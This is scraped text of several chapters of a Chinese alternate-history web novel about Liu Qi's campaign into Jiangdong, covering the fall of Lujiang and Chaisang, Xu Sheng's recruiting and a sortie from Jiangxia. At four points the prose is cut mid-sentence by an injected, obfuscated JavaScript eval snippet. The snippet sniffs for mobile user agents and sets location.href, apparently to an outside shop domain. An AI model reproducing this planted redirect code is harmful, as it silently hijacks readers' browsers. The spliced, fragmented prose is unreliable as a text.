帐内一时被这股突如其来的坏消息所带来的阴霾笼罩,本就因袁绍大军压境而紧绷的神经,此刻更添了几分对南方局势失控的忧虑。 而曹操将众人的神色尽收眼底,他心中何尝不恼?何尝不忧? 但荀彧的驱虎吞狼之策是他首肯的,此番失误他曹操亦有责任。 南方若真崛起一个整合了荆扬的庞然大物,对他而言绝对是战略上的巨大失败。但他是曹操,是三军主帅,在此危难之际,他绝不能先乱阵脚。 只见曹操忽然放声大笑,打破了帐中的沉闷与压抑:“哈哈哈哈哈!诸君何故作此小儿女态!” 顿时众人皆愕然望向曹操。 曹操站起身来,走到舆图前,大手一挥,指向江东:“不过是一黄口孺子侥幸得志,便让尔等如此惊慌?” “江东六郡,地广人稀,山越横行,世家林立!孙权虽败,根基犹在,岂是那般易让刘琦夺取?” “况且刘琦小儿,就算一切顺利,没有一年半载,休想真正吞下江东这块硬骨头!” 曹操目光锐利地扫过众人:“眼下,我军之心腹大患,唯有袁本初!数十万袁军就在眼前,此战若败,万事皆休!什么刘琦,什么孙权,都与我等无关了!” “文若之失,不过是为那刘琦小儿加了阵东风,让他跑得快些罢了。但只要我等能在此地,一举击破袁绍!” “届时,携大胜之威,横扫中原,纵使他刘琦当真全取江东,又何足道哉?!” 曹操语气中的强大自信和不容置疑的决断,瞬间感染了帐中诸将。 郭嘉亦适时出言附和:“明公所言极是!当务之急,乃在官渡。南方之变,乃疥癣之疾,袁绍之围,方是心腹之患!破袁之后,天下大势在我,再图南方未晚!” 帐内的气氛重新被拉回,众人的注意力再次聚焦于眼前的生死大战。 而刘琦的船队顺江而下,不到三日便抵达了江夏。 夏口城外,得知刘琦归来,诸葛亮携留守文武早已恭候多时。 见刘琦登岸,诸葛亮率先上前,从容一揖,清朗的声音中带着由衷的欣慰:“亮,恭贺主公!此番襄阳之行,既成婚姻之礼,复得朝廷旌节,拜授扬州刺史,假节督扬州军事。” “从此经略江东,大义在手,实乃双喜临门!” 刘琦快步上前,亲手扶起诸葛亮,朗声笑道:“我能得此名分,非天赐,实乃人为!全赖江夏将士用命,破敌神速,方能趁许都耳目未明之际,已定鼎大局。” “待其诏书送至,生米早已成熟饭,这扬州刺史之印,不过是顺势而为,送上门的大义名分罢了。” 随后刘琦的目光扫过在场众臣,声音恳切,“此乃前线将士血战之功,亦是诸位留守辛劳之绩,琦,不敢独居。” 刘琦这番剖析,将成功的根源归于众人,令在场文武无不感佩。 诸葛亮含笑颔首:“主公英明。” 随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822262|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后刘琦执诸葛亮之手一同入府,甫一落座,神色便转为专注,询问道:“我往襄阳这月余,江夏乃我等根基,不容有失。如今境内民生安抚、军备整饬,诸事进展如何?” 诸葛亮轻摇羽扇,从容禀报,将月余来江夏诸事条理清晰地一一道来:“禀主公,自您前往襄阳后,江夏内外诸事进展尚算顺利。” “首要者,在于安民与恢复生产,屯田之策已全面推行,依托缴获之江东粮秣为基,并丈量无主荒地,分发于流民与军中眷属。” “至今,已新垦田亩近十万,招募并安置因战乱流散的百姓逾三千户,编户齐民,发放粮种、农具。眼下夏粮长势颇佳,民心渐趋安定。” 诸葛亮略作停顿,继续道:“军备方面,缴获之江东战船,除部分受损严重者拆解为料,余者皆已修缮完毕,纳入水师序列。” “而郡中军工作坊亦是日夜赶工,打造箭矢、修补甲胄、维护器械,如今,水陆各营兵员皆已按新制补足缺额,加紧操练,士气高昂,随时可应对战事。” 刘琦仔细聆听,不时就细节发问,对诸葛亮的处置手段深感满意。 随后刘琦问起此前尤其关心庐江方向的进展,问道:“庐江那边,李术情况如何?可还安分?” 诸葛亮神色微正,禀报道:“正要详报主公。李术此人,果如主公所料,心怀叵测,首鼠两端。” 随后诸葛亮详细叙述了过程:“起初,陈应、吕范二位将军率前锋抵达皖城,李术尚能维持表面恭顺,供应粮草,虚与委蛇。” “然待徐元直与文长将军率八千主力逼近庐江,加之江夏大捷、孙权狼狈北逃的消息传至,李术便知他原先欲待价而沽、行那空手套白狼之计的盘算彻底落空。” “此人利令智昏,竟不顾部分部将劝阻,决意铤而走险,便暗中布置,欲设下鸿门宴,在席间伏杀陈应、吕范将军,吞并其部曲,妄图据庐江以自立。” 听到此处,刘琦眼中寒光一闪,但并未打断诸葛亮。 诸葛亮继续道:“幸赖主公识人之明,早有布局,吕范将军奉主公密令,此前多以江东旧谊与李术麾下将校往来,陈说主公之威德与江夏军容之盛,更言明追随主公,前程远大,远胜跟随李术此等反复无常、刻薄寡恩之辈。” “而庐江军中诸多将校,早已心动,故而,李术刚定下毒计,便有麾下心腹感念吕将军恩义、畏惧主公兵威,连夜秘密告发于吕范将军。” “陈、吕二位将军遂将计就计,于宴席之上抢先发难,当场擒杀李术。” “李术其部众见主将伏诛,又早受吕将军感召,大多未作抵抗,旋即归顺。” “元直与文长将军抵达后,迅速接管城防,整编军马,清查府库。如今,庐江郡已尽在主公掌握之中,局势平稳。” 刘琦听完这“有惊无险”的经过,脸上露出满意的笑容,赞道:“好!吕范此事办得漂亮,陈应、元直、文长处置得宜,孔明你居中协调亦是有功。” “能兵不血刃拿下庐江,并收编其部众,此乃大功一件!” 刘琦当初派吕范同去,正是要利用其身份和口才去瓦解李术的根基,如今看来,效果极佳。 刘琦听罢庐江之事,抚掌而笑:“庐江郡北接汝南,南临大江,东望吴会,实乃用武之地。今得此郡,我军在江东便有了立足之基,进可攻,退可守,局面大为不同。” 随后刘琦踱至舆图前,目光如炬,忽然转身对诸葛亮道:“既然朝廷授我扬州刺史之职,当先正名分,传檄四方。” 檄文如下: “汉扬州刺史刘琦Z,奉天子诏,督扬州军事。今孙权僭越,周瑜悖逆,已败于江夏。各郡守令,当明顺逆,速来归附。凡弃暗投明者,保其官职;负隅顽抗者,大军到时,玉石俱焚!” 诸葛亮闻言,眼中闪过赞许之色:“主公此檄,正合时宜。既彰朝廷大义,又显我军威德,必使江东守令闻风而动。” 刘琦微微颔首,续道:“传令下去,即刻草拟檄文,命快马分送豫章、庐陵、鄱阳等江东诸郡。” “同时命甘宁率水师东出,巡弋江面,威逼丹阳,魏延所部自庐江南下,先取豫章。” “我要让孙权见识见识,什么叫做名正言顺,什么叫做大势所趋!” 刘琦顿了顿,语气转厉:“记住,檄文所至之处,若三日之内不降者,立为叛逆,必以雷霆之势击之!” 第100章 檄文震江东!柴桑秒降! 建安五年八月末,随着刘琦的讨孙檄文如离弦之箭,快马分驰江东各郡。 数日前江夏府衙内,诸葛亮羽扇轻摇,对阶下肃立的数名信使逐一叮嘱: “送往江东的檄文,分二路而行,皆需避开孙权水师主要巡弋的江面。” “第一路,出江夏入豫章境内,传缴豫章鄱阳二郡后,便一路沿赣水南下入庐陵。” “第二路,入豫章境内,走鄱阳入黟山经山脊小道入会稽、吴郡二郡。” 诸葛亮停顿片刻,目光扫过众人:“记住,檄文所至之处,若三日内无降表至江夏,便立红标急报。” “诺!” 信使们躬身领命,鱼贯而出。 诸葛亮轻摇羽扇,目送信使远去,缓声道:“主公此檄,先声夺人,孙贲虽是孙氏宗亲但如今孙权大败,见朝廷诏命,必不敢公然抗旨。豫章若定,庐陵、鄱阳传檄可下。” 刘琦走至舆图前,手指点向豫章郡:“魏延所部已至庐江南境,何时能抵豫章?” “昨日军报,文长将军率八千主力已过皖城,正沿赣水支流南下。” 诸葛亮执扇指图,“陈应、吕范领三千前锋为导,距豫章边境不足五十里。若急行军,明日便可入豫章地界。” “好。” 刘琦目光锐利,“传令魏延:入豫章后,凡檄文所至之县,三日不降者,立攻不赦。我要让江东守令看看,什么叫王者之师,什么叫吊民伐罪!” ----------------- 柴桑城头,刘琦军的赤旗高悬。 县衙之内,魏延端坐主位,案前堆满了刚刚收缴的户籍册与地理图志。 三日前魏延接到军令南下豫章,便令别部司马徐盛为先锋,率千人从庐江郡星夜疾驰,直扑这座徐盛曾经镇守两年的江东西陲重镇。 而随后的进展之顺利,连魏延自己都有些意外。 清晨抵城下,徐盛单骑至护城河前,高呼旧部张硕之名,随后便将檄文射入城内,随后不过半刻,城门洞开,故人率众出迎。 “将军,此乃柴桑县近年户籍总录。”归降的县丞战战兢兢呈上竹简。 魏延展开简册,目光扫过,心头暗震。 一县之地,竟有户七千八百余,口四万五千众。这在战乱频仍的建安年间,实属富庶。 “豫章郡……果是膏腴之地。”魏延喃喃自语。 而身旁徐盛上前一步,低声道:“魏将军,柴桑乃江东西门,此城一失,鄱阳湖口洞开。豫章北境诸县,已在我兵锋之下。” 魏延颔首,手指摩挲着案上那卷熟悉的牛皮舆图,这图,还是徐盛当年任守将时令人绘制的。 图上,鄱阳湖周边山川城邑、水道路径标注详实,数百里形势尽在掌中。 “传令,”魏延抬头,目光锐利,“紧闭四门,整编降卒。凡愿归顺者,一视同仁;有异心者,立斩不赦。” “诺!” 正安排间,堂外传来急促脚步声。 一名军士奔入,单膝跪地:“禀将军!城外抓获江东信使,搜出孙权密令!” 魏延霍然起身:“呈上来!” 军士递上蜡丸密信。 魏延捏碎蜡封,展开帛书,速览之下,脸色渐沉。 “孙权令张硕死守柴桑,至少半月,待丹阳援军至……”魏延冷笑一声,“可惜,张硕连半日都没守。” 徐盛阅罢,沉吟道:“将军,孙权欲调丹阳兵西援,说明其已察觉我军东进意图。柴桑失守之事,恐瞒不过三日。” “我本就没想瞒。” 魏延走至舆图前,手指点向丹阳方向,“甘宁的水师已出夏口,不日便将巡至芜湖江面。孙权自顾不暇,哪还有余力西顾?” 随后魏延转身,声音决断:“三日内整编降卒,补足战损。柴桑乃主公东进要地,需固若金汤。” “诺!” 徐盛领命退下。 魏延独留堂中,望着窗外渐暗的天色。 柴桑城头,那面孙氏旌旗已被撤下,换上了刘琦的赤旗,在晨风中猎猎作响。 这一仗,赢得太轻松。轻松得让魏延有些恍惚。 “大势所趋啊……”魏延忽然低声自语。 随后魏延走回案前,铺开帛卷,提笔书写战报: “末将魏延谨奏:今诏令别部司马徐盛率先锋千人疾进,今晨抵柴桑。守将张硕乃旧部,见檄文开城归降。” “柴桑一县七千八百户,四万五千口,粮秣兵械俱已封存,恭候主公大军……” 笔锋游走,魏延心中却思绪翻涌。 两日后,江夏府衙。 刘琦正与众人商议进军江东时日时,忽闻堂外有快马声至。 一名风尘仆仆的军士冲入堂中,单膝跪地:“禀主公!徐盛将军遣使来报——柴桑已克!” 堂内众人皆是一怔。 刘琦与诸葛亮对视一眼,接过军报,迅速展开。 信是徐盛亲笔所书,字迹刚劲: “盛奉魏将军令,率千人先锋疾进。今晨抵豫章柴桑城下,宣示主公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822965|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 檄文。” “柴桑守将张硕乃旧部,见檄文知大势已去,遂开城请降。柴桑一县七千八百户,四万五千口,兵械粮秣俱已封存,恭候主公大军亲临。” 魏延战报短短百余字,但却让刘琦眼中迸出光彩。 “好一个徐文向!” 刘琦将军报递给诸葛亮,“不费一兵一卒,轻取柴桑。此非独勇,亦见其威望。” 诸葛亮览毕,抚掌而笑:“徐司马昔为柴桑守将,恩信素著。今持檄文而返,守军望风归顺,此乃天助主公也。” 刘琦大步走至堂前,望向东方:“柴桑乃江东西门,此城一失,鄱阳湖口洞开。” “传令徐盛:加授振威校尉,暂领柴桑防务。” “再令甘宁:水师即刻东出,巡弋柴桑至芜湖江面。我要让孙权知道,他的西大门,已经换了主人!” 堂下书佐奋笔疾书,两道军令顷刻拟就。 刘琦将魏延从柴桑发来的战报置于案上,随即又从案头另一摞文书中抽出一封密信,“元直自庐江急报,他于整编李术旧部时,从其往来文书中查获线索,并顺藤摸瓜,探得孙权已密遣心腹,欲北上许昌联结曹操……呵,果然是困兽之计。” 诸葛亮羽扇轻摇,从容应道,“曹操与袁绍相持官渡,自顾不暇,纵有此心,亦无余力南顾。” 刘琦拊掌:“善!” 起身走至堂中巨幅舆图前,手指点向柴桑,沿鄱阳湖东移,落于豫章郡治南昌。 传令魏延:兵至豫章北境,待我率大军东出后,与我东西呼应,择机取彭泽、鄱阳!” “诺!”诸葛亮肃然应命。 刘琦转身,目光如炬:“还有,传檄豫章诸县:柴桑已破,天兵东指。凡愿归顺者,保其官职;负隅顽抗者,城破之日,守令皆斩。” “亮即刻去办。” 诸葛亮躬身退出。 刘琦独留堂中,负手立于图前。 图上,江东六郡的山川城邑,在烛火映照下清晰可见。 刘琦的目光,已越过豫章,投向更东方的丹阳、吴郡。 “孙权……”刘琦低声自语,“你既敢犯我江夏,便该想到今日。” 刘琦伸手,抚过图上“吴郡”二字。 那里,是孙氏根基所在。 也是他刘琦,必将踏平之地。 堂外,狂风骤起,卷动旌旗,猎猎作响。 江夏城外,甘宁的水师战船正升起风帆,千帆竞发,顺流东去。 江东大地的烽烟,已熊熊燃起。 第101章 柴桑整军,东进之基已立 柴桑城头的烽烟散尽,战事暂告段落,然死难者却再不能复生。 当晚,魏延于府衙侧厢,就着昏暗的油灯,亲自查阅军中文吏呈上的伤亡录籍。 灯花偶尔爆响,映着魏延凝重的面色。 此战虽兵不血刃下城,然徐盛所率先锋为疾行军,途中遭遇小股江东巡哨、水土不服而病倒者,加之入城后整肃时处置的个别顽固分子,亦有数十人的伤亡。 魏延放下竹简,目光扫过那一串新刻的阵亡将士木牌,沉默良久。 这些伤亡者中有从襄阳就跟随他南下的老卒,也有江陵时招募入军的,虽非宗族,却亦是同袍。 “传令,”魏延声音低沉,“凡阵亡者,依军功爵制抚恤加倍,其家眷由军中拨钱粮赡养,直至幼子成年。伤者厚赏,妥善医治。” “诺!”**官肃然记录。 “另,”魏延补充道,“以我名义,修书主公,请其于郡内代为照拂这些将士家小。” “将军仁厚。” 待**官退下后,魏延又看向缴获的物资清单。 柴桑府库充盈,尤其军械颇丰,魏延沉吟片刻,唤来亲卫:“去叫徐司马过来。” 不多时,徐盛披甲而至:“将军唤末将何事?” 魏延将清单推过去:“文向且看。柴桑武库所藏,远超一县之制。**近千,箭矢数万,刀矛甲胄俱全。孙权以此地为西陲锁钥,果非虚言。” 徐盛细看,亦是动容:“确是如此。昔年末将镇守时,武库尚不及此半数。看来孙权近年不断增储,意在固守。” “这些军械,正是我军所需。” 魏延手指轻点案几,“文向,你暂领柴桑防务,我予你调拨其中六成,用以武装降卒、加固城防。” “余下四成,不日装船,顺江运往江夏,呈报主公,以充大军之用。” 徐盛略感意外,随即郑重抱拳:“末将领命。必使柴桑稳如磐石,不负将军与主公重托。” “你办事,我放心。”魏延颔首,转而问道,“降卒整编如何?” “已初步筛选。愿效力者约两千人,其中千余人颇精悍,可补入战兵。余者充作辅兵或留任城防。”徐盛禀报。 “不愿从军、或心怀异志者近数百人,已按将军令,甄别后另行看管,待局势稳定再做处置。” “甚好。” 魏延起身,走至窗前,望着城外浩渺的鄱阳湖: “主公檄文已发,豫章、庐陵、鄱阳,乃至吴会,此刻当已震动,柴桑乃主公东进第一块基石,必须稳固。” “而明日我即率主力继续南下,与陈应、吕范会合,直逼南昌,柴桑……就交给你了。” 徐盛肃然:“末将必竭尽全力。只是将军,孙权若知柴桑失守,必不甘心。丹阳援军虽未必能至,然其遣水师溯江西上、骚扰粮道,不可不防。” “此事我已有计较。” 魏延转身,目光锐利,“我已传书甘宁将军,请其水师前出,控扼柴桑以东江面。” “此外,我留给你部曲八百,连同整编后的降卒,守城足矣。” “而你要做的,是尽快恢复柴桑秩序,安抚百姓,将此地真正化为我军之土,而非仅仅是一座夺下的城池。” 徐盛深揖:“末将明白。守土安民,宽严相济,必不使主公与将军失望。” 次日拂晓,魏延率六千余主力悄然出城,沿赣水支流继续南下,柴桑城头,“刘”字赤旗与“魏”字将旗并立,在晨风中舒展。 徐盛送走大军,即刻着手落实魏延的嘱托。 徐盛知道自己能否在刘琦军中重新站稳脚跟,甚至更上层楼,柴桑治理的成效至关重要。 随后徐盛首先召见了以张硕为首的归降官吏与本地著姓。 县衙正堂内,徐盛并未端坐主位,而是与众人分席而坐。 “盛蒙主公不弃,魏将军信重,暂领柴桑。” 徐盛开门见山,“今柴桑战事已息,当务之急乃是安民复产。诸君久居此地,熟知民情,敢问有何教我?” 徐盛这番谦和姿态,让原本忐忑的众人稍安。 张硕作为旧部兼首个归顺者,率先开口:“将军,柴桑之民,多赖渔猎、转运及铜矿为生。” “但近年来战事频繁,江道时通时阻,铜矿输出不畅,民生颇艰。今既易帜,若能迅速打通与江夏、庐江商路,使物产得以流通,民心自安。” “张兄所言甚是。” 一位须发花白的乡老站起向徐盛拱手后补充道,“去岁至今,赋税颇重,民多积欠。若能酌情减免,或允许以工代税,参与修缮城防、疏浚水道,则百姓必感念刘使君新政之德。” 徐盛仔细聆听,不时发问。 良久,徐盛方道:“诸君所言,皆切中要害。盛即刻拟定安民告示:其一,既往赋税积欠,一律减半征收,分三年缴清;今岁田赋、市税,减免三成。” “其二,鼓励商旅往来,凡江夏、庐江至柴桑货物,关税减半。” “其三,招募民夫参与城防修缮、清理鄱阳湖口淤塞,日给粮米,可抵部分赋税。 堂内顿时响起一阵低低的赞叹与松气声,这几条措施若真能落实,柴桑民生复苏有望。 “然.....” 徐盛语气一转,目光扫过众人,“律法军纪,不容轻慢。凡劫掠、滋事、通敌者,立斩不赦。望诸君晓谕乡里,共维秩序。” 众人凛然应诺。 接下来的数日,柴桑城内外迅速焕发新的生机。 小吏告示张贴于四门,识字者高声宣读,不识者围聚倾听。 减免赋税的消息如同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看完帛书,徐盛目光投向东方,虽身处城中,但却仿佛能看见鄱阳湖的烟波浩渺,对岸那片广阔土地在云雾中若隐若现。 徐盛胸中热血翻涌,心底慨然轻叹:“如此天地,吾辈正当大有可为!” 随后徐盛唤来亲信,沉声下令:“加派斥候,详探鄱阳、彭泽二县虚实,尤其是守将性情、**、粮草囤积。另,整备舟船,检修军械,随时待命。” “诺!” 随着命令传下,柴桑这台刚刚平稳下来的机器,又开始为下一场战事隐隐加速运转。 而在柴桑以南数百里,魏延的大军已如利剑出鞘,连克数县,兵锋直指豫章心脏——南昌。 第102章 柴桑募兵,徐盛固本 柴桑局势渐稳,徐盛深知刘琦予他“伺机图取鄱阳、彭泽”之令,并非空谈。 但欲东进,首需强兵,柴桑虽富,人口众多,然可用之兵尚需整训募集。 于是徐盛一面继续以宽和手段安民,恢复生产,一面将目光投向兵员补充。 校场之上,新编的士卒操练正酣,但人数不过两千余,守城足矣,欲图进取则显不足。 徐盛召来张硕及几位本地乡老,于县衙偏厅叙话。 “文向将军唤我等前来,不知有何吩咐?”张硕拱手问道。 徐盛示意众人坐下,直言道:“柴桑已定,然主公志在匡复江东,安靖黎庶,然鄱阳、彭泽乃至豫章全境,犹在观望或负隅。” “盛蒙主公信重,镇守此门户,早晚需东向用兵。然目前兵力,守则有余,攻则不足。诸君久居此地,可知何处可得精壮朴勇之士,以充行伍?” 众人相视,那位须发花白的乡老沉吟片刻,道:“将军,柴桑之民,除城中坊市者,多依铜矿、渔猎、转运为业。” “而矿工悍勇能吃苦,渔户熟谙水性,二者皆可募为卒,尤其城南幕阜山余脉之中,有数处铜矿,汇聚四方谋生之徒,其间颇多因战乱避入山中的流民与本地矿户,生活困顿,性情质朴,若将军能予活路,许以田宅、粮饷,募兵应非难事。” 张硕也补充道:“确是如此。昔年末……孙权也曾多次于矿工中募兵,其卒往往骁健。” “只是孙权赋重役繁,人心不附。今将军若能示以宽仁,明以赏格,必能得人。” 徐盛闻言,心中已有计较。 徐盛随即令张硕及几位熟悉情况的吏员、乡老为导,派出手下得力军吏数队,分赴各矿场、渔村及山中流民**处,宣示募兵之令。 告示写得明白:凡自愿投军者,一经简选合格,即录军籍,厚给饷粮,其家眷亦可酌情减免赋税。 而作战立功者,依军功爵制厚赏,分授田宅。若不愿久战,亦可签短契,服役期满,资遣回乡,并给予钱粮安家。 此令一出,应者云集,乱世之中,一份稳定的粮饷、一条可能的立功受赏之路,对许多挣扎求生的贫苦百姓而言,有着莫大的吸引力。尤其那些栖身山中的流民和生计艰难的矿工,更是纷纷下山应募。 不过徐盛募兵,并非来者不拒。 为此徐盛亲自定了章程,令负责募兵的军吏严格执行: “凡欲入我军者,首重心地,市井油滑、目光闪烁、言语浮夸者,慎取。” “皮肤过度白皙、手足无茧、不事生产者,不取,游手好闲、无恒业者,不取。” “当取之人,须是体格健壮、相貌朴实、眼神端正、有家室牵累(易安其心)者为佳。矿工、熟稔水性的渔户、老实农人,可优先录之。” 此令意在遴选朴质敢战、易于教化的兵源,而非单纯的亡命之徒。 徐盛深知,一支军队的战斗力,不仅在于个人勇武,更在于纪律、号令与同袍之义,而这些根基,在招募之初便需留意。 数日之间,柴桑城西新设的募兵营外便排起了长队,徐盛不时亲至查看,见军吏们按照章程,或察其形貌,或问其乡里、家口、所业,或令其举石、行走以观体力,甄选颇为认真。 合格者欢天喜地登记入册,领了号牌与初饷;不合格者则失望而归,但亦无滋事,因徐盛早有严令,并派兵维持秩序,且对落选者也酌情给予少许粮米以示抚慰。 这一日,徐盛正在查看新募兵卒名册,忽有亲兵来报:“将军,有一自称刘忠者,乃城南浔城有秩(乡官),率百余名青壮前来,言是慕将军威德,特来投效,并献上当地铜矿图志一卷。” “刘忠?浔城有秩?” 徐盛略一思索,想起之前乡老提过,浔城位于柴桑以南、幕阜山北麓,正是铜矿汇集、民风彪悍之地,其地乡官前来,意义不凡。 “快请。” 不多时,一名三十余岁、穿着简朴吏服、腰悬长剑的汉子步入堂中,身后跟着数名精壮青年。 汉子面容坚毅,目光沉稳,上前躬身行礼:“浔城有秩啬夫刘忠,拜见徐将军。闻将军在此募兵安民,恢复秩序,忠不胜感佩。” “今特率乡中子弟一百二十三人前来投军,愿效犬马之劳。另,此乃浔城周边矿脉、道路、水源图志,恳请将军笑纳,或于日后治理、用兵稍有裨益。” 徐盛接过图志,展开略览,见其绘制详实,标注清晰,非深知地理者不能为,心中先喜三分。 又观刘忠气度,不似奸猾之徒,便温言道:“刘有秩深明大义,盛心甚慰。诸位壮士远来辛苦,且先登记安顿。此图志甚为有用,盛多谢了。” 刘忠却道:“将军,忠此来,非仅为投效。浔城及周边山中,因战乱避入者众,生活困苦。将军募兵之令已传至山中,人心跃动。” “是以,忠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827281|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愿为向导,助将军遣使深入各矿寨、流民聚落,详加宣慰招募,必能得更多朴勇之士。只是……”刘忠略有迟疑。 “刘有秩但讲无妨。” “山中百姓,所虑者无非生计与安稳。将军若能承诺,凡入伍者家小,可得妥善安置,分与无主荒地或助其重操旧业,免于饥寒;战后愿归乡者,亦有所依。则招募必事半而功倍。” 徐盛拊掌笑道:“刘有秩所虑周全,正合我意。便依你言。此事,就劳烦你协同我军吏办理。至于安置之事,我即刻行文,划定城郊荒地,并拨付一批粮种、农具,专用于安置军属及战后归田士卒。” 刘忠大喜,深深一揖:“将军仁德!忠必竭尽全力!” 有了刘忠这等熟悉地方情势的乡官协助,募兵之事进展更为顺利。 更多山民、矿工走出山林,来到柴桑。徐盛严格筛选,优中选优,半月之间,竟募得合格青壮近两千人,且多是体格健壮、性情朴实的可用之材。 兵员既足,训练立时加紧。 徐盛以原有部曲为骨干,与新募士卒混编,严明军纪,从基础队列、号令开始操练,同时不忘宣讲刘琦之德、讨孙之义,凝聚军心。 柴桑城外,终日杀声震天,士气高昂。 与此同时,徐盛亦未忘后勤。他利用柴桑库存及江夏运来的物资,日夜督促工匠修缮、打造军械,储备粮草,并派出更多斥候,严密监控鄱阳、彭泽方向孙军动向。 这一日,徐盛正与刘忠等人商议在浔城一带设立屯田点,以长久安置军属、保障部分粮源时,江夏又有使者至。 此次带来的,除了刘琦对他募兵、安民进展的嘉许外,更有一份至关重要的军情通报与新的指令。 而指令则明确写道:“……文向在柴桑,根基渐固,甚慰吾心。” “今南昌指日可见,鄱阳、彭泽二县守将动摇。着徐盛即行筹备,待南昌捷报至,或鄱阳、彭泽内变之时,便可挥师东进,速取二县,打通鄱阳湖全域。” “江面之敌,兴霸自会为你遮护。切记,仍以持重为先,伺机而动,不动则已,动则必克。” 徐盛阅毕,心潮澎湃。 “刘有秩,”徐盛沉声道,“屯田之事,交由你全权督办,需加速进行。另,转告诸位军吏,新兵训练再加紧,军械粮草清点备足。东风……快要来了。” 刘忠神情一凛,肃然应道:“诺!谨遵将军之令!” 第103章 刘琦点兵,剑指豫章。 建安五年九月,江夏。 秋高气爽,正是用兵之时。江夏城外,长江之畔,舟舰连云,旌旗蔽空。 刘琦经数月筹备,终亲提大军,誓师东征。 点将台上,刘琦一身戎装,腰佩长剑,昂然而立。 台下,文武肃立,甲士如林。 诸葛亮、庞统、孟建、石韬等文臣,黄忠、周仓、赵云、王朗等将校,以及新近投效的刘巴、邓芝、陈震、蒋琬、费祎、马良等才俊,皆在其列。 “诸位!” 刘琦声音清越,压过江风,传遍三军,孙权无道,僭窃江东,屡犯我境。” “江夏一战,赖将士用命,破其大军,擒其都督,本可暂歇兵戈。” “然权不知悔改,困守芜湖,犹图顽抗。今朝廷授我扬州刺史,假节督军事,讨逆安民,乃天命所归,大义所在!” 刘琦拔出佩剑,直指江东:“魏延、徐盛已取柴桑,控江东西门,檄文传遍豫章,人心思汉。” “故我军正宜乘此破竹之势,水陆并进,廓清寰宇,拯江东百姓于倒悬!此战,必克!” “必克!必克!必克!”数万将士齐声高呼,声震云霄。 刘琦环视众人,朗声部署:“黄忠、赵云、周仓,领步骑一万五千为中军,随吾楼船沿江东进,直趋柴桑!” “诺!”黄忠、赵云、周仓慨然应命。 “蒋钦,尔领靖江营水师三千,战船三百艘为前驱,清扫江夏至柴桑段江面,确保主公大军水路畅通,粮道无阻!” “诺!”蒋钦肃然领命。 “王朗,你总督后军,负责粮草辎重转运,沿江设立粮台、哨卡,保障大军后路稳固,补给源源不绝!此重任,托付于公!” “朗,必竭尽全力,不负主公重托!”王朗拱手,神色沉稳。 “士元!” 刘琦目光转向一旁目光炯炯的谋士,“汝为随军军师,参赞军机,协理前军事务。” “统,领命!”庞统出列,从容应道。 “孔明,”刘琦看向诸葛亮,语气郑重,“江夏乃我军根本,联络荆襄、庐江之中枢,后勤调度、情报汇总、新附安抚,千头万绪,非大才不可镇之。” “吾以此后方全权托付于汝,望汝稳坐中军帐,使我无后顾之忧!” 诸葛亮躬身一礼,羽扇轻摇,声音清朗而坚定:“亮,谨遵主公之命,必使江夏稳如磐石,粮秣军资如期而至,四方消息畅通无阻。” “主公但请放心东征,亮于江夏静候捷报。” 刘琦颔首,心中大定。有诸葛亮统筹后方,庞统随军参谋,王朗督办粮草,此番东征,后方可称万全。 “其余诸文武,各依安排,随军或留守,恪尽职守!” 分派既定,刘琦登上高大的楼船旗舰,黄月英亦身着简便服饰,随行在侧。她虽不入战阵,却负责协调部分文书与工械事宜。 “开船!”令旗挥下,浩荡船队扬起风帆,缓缓驶离江夏码头。 蒋钦率前驱水师如箭离弦,巡弋开道,中军船队簇拥着刘琦的楼船,浩浩荡荡,后续辎重船队井然有序,一时间千帆竞渡,舳舻相接,气势磅礴。 岸上,诸葛亮率领留守文武,躬身相送,直至船队消失在浩渺烟波之中。 蒋钦率前驱水师率先开道,战舰如离弦之箭,巡弋前方;中军船队居中,刘琦楼船巍然;后续辎重船队井然有序。 楼船顶层,刘琦与庞统、等人凭栏远眺。 江风猎猎,吹动旌旗,望着逐渐远去的江夏城廓,刘琦的思绪却飞向了此次东征的侧翼要地——庐江。 刘琦转身步入船舱,于案前坐下,目光落在豫章、庐江一带的舆图上,沉吟不语,庞统与孟建静候一旁。 良久,刘琦蔡缓缓开口:“庐江新定,李术伏诛,其郡南半已入我手,然北境天柱山以北,名义上仍属朝廷所置扬州刺史管辖……” 